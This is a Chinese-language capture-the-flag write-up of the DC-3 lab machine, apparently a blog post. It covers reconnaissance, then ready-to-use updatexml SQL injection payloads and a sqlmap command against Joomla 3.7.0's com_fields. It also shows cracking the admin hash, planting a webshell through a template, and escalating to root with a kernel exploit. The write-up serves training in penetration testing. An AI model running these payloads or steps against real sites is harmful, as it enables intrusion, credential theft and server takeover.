靶场DC-3

DC-3

配置

不多说,将靶机与攻击机置于同一网段即可

开始营业

获取目标IP

arp-scan -l

arp-scan锁定目标IP:192.168.32.132

端口扫描

nmap -sS -T 4 -A -p- 192.168.32.132

端口扫描
好家伙,只开放了80端口,访问一下,看看是么子东西:
80端口

作者偷懒了?这次只有一个flag,也不提供其他线索了,就只叫俺冲root权限,盲猜flag还在root目录下。既然如此,那唯一思路,就是以这个网站作为入口啦,找个口子撕一下,提权一下,然后就成了。多说无益,开搞!

信息搜集

访问网站,发现是Joomla CMS,使用kali自带工具joomla扫描器joomscan扫描一下:
joomscan

总结一下有用的东西:

啊这,让我陷入回忆中(回忆总想哭一个人太孤独,唱起来啊)。这个CMS让我有些熟悉又有些陌生,我是不是在哪见过?对咯,在还没打完的红日靶场3里边见过,只是版本不同,那个靶场也恰好只是撕了个口子,还没开始内网渗透,那这次便当作温习啦!

冲就完了

首先用kali看一看关于这个CMS相关的洞:

searchsploit joomla

是我肤浅了,还以为就那么几个洞,结果却搜出来一大堆:
在这里插入图片描述

这么多,简直如同大海捞针,所以换个命令噻:

searchsploit joomla | grep 3.7.0

这次舒服,只有一个SQL注入漏洞:
SQL注入

查看一下漏洞细节:

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

漏洞细节
根据漏洞细节,手工测试一下,payload:http://192.168.32.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1),没跑了,确实存在SQL注入漏洞,注入点为list[fullordering]:
实锤

注:updatexml和extractvalue函数能进行报错注入是利用了XPATH语法错误 ;
还有一种是利用group by 对 rand()函数操作时产生错误而导致报错注入

当然此时可以选择用sqlmap:

sqlmap -u "http://ip/index.php?option=com_fields&ampview=fields&amplayout=modal&amplist;[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这里选择手工注入:

  • 查看当前数据库:
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,select database()),1)  

当前数据库
确定当前数据库为joomladb

  • 查有哪些表:
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,(select table_name from information_schema.tables where table_schema=joomladb)),1)  

尴尬了,装13失败,查不到:
在这里插入图片描述

估计是后台查询语句对字符类型数据没有用引号引起来造成的。
是我玩得太傻,太过天真,才会把作者的寂寞当作是契合的灵魂。。。(STOP,怎么又唱起来了呢)
先用burp的intruder功能,遍历一下table_schema和table_name(讲道理,实战中还不如直接用sqlmap呢,反正都要被发现,不如一次到位):

?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,(select concat(table_schema,0x3a,table_name) from information_schema.tables limit 0,1)),1)  

对limit 0,1中0的占位设置一下,然后从0开始遍历,得到joomladb数据库的表:
在这里插入图片描述

用同样的方法获取字段:

?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,(select concat(table_name,0x3a,column_name) from information_schema.columns limit 0,1)),1)  

kali没有装破解版的BP,是真的慢,最后得出#__users的两个重要字段:username和password:
在这里插入图片描述

好了,XDM,我破防了,这个引号把我折磨得太难受了,还是上sqlmap吧,倒是不用再跑字段什么的了,直接跑数据,顺便看看sqlmap是怎么处理的:
在这里插入图片描述

原来sqlmap用了ELT函数【 ELT(N,str1,str2,str3,…),如果N= 1,返回str1,如果N= 2,返回str2,等等。如果N小于1或大于参数个数,返回NULL。ELT()是FIELD()反运算】
拿到账号密码:admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,使用kali自带的密码破解工具john试试运气:

# 将密码保存到文件中  
john 文件名

获得密码snoopy:
在这里插入图片描述

使用账号密码登录后台,老样子,通过创建模板getshell:
找到模板入口:
在这里插入图片描述

随便点开一个,然后新建一个webshell文件即可:
在这里插入图片描述

成功连接webshell:
在这里插入图片描述

看着这个www-data用户,提权是少不了了,再复习下linux的提权方法:sudo、suid等等,都看看:
在这里插入图片描述

从上面截图获取的信息:

  • 系统为ubuntu32位,16.04 LTS
  • Linux内核版本4.4.0
  • sudo版本为1.8.16

目前应该可以通过内核提权、sudo权限绕过提权(CVE-2019-14287)、sudo堆栈溢出漏洞(CVE-2021-3156)等等。
sudo权限绕过提权的条件:

  • sudo -v < 1.8.28–满足
  • 知道当前用户的密码–不知道
  • 当前用户存在于sudo权限列表

暂时放弃sudo权限绕过。
sudo堆栈溢出漏洞(CVE-2021-3156):

  • sudo 1.8.2 - 1.8.31p2
  • sudo 1.9.0 - 1.9.5p1

可以试试,上传exp,make,然后执行,发现ubuntu版本有要求:
在这里插入图片描述

提权失败,放弃+1

直接内核提权吧。
在这里插入图片描述

看到有许多提权的方法,随便选择吧,看看39772.txt呢
在这里插入图片描述

根据提示下载EXP
然后把下载下来的39772.zip文件中的exploit.tar上传到目标,解压,按照刚刚看到的39772.txt中描述的来执行:
在这里插入图片描述

发现了吗,提权后还是这个鬼样子,这是为什么呢?大概猜测(未证实)提权后会新起一个shell,而这里不行。所以还得用MSF,进入shell后用python起一个shell(不再过多演示,请看DC-1),然后执行提权文件,即可提权成功:
在这里插入图片描述
来吧,又到了总结时刻,你觉得哪些环节比较重要或对你思路有帮助呢?

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值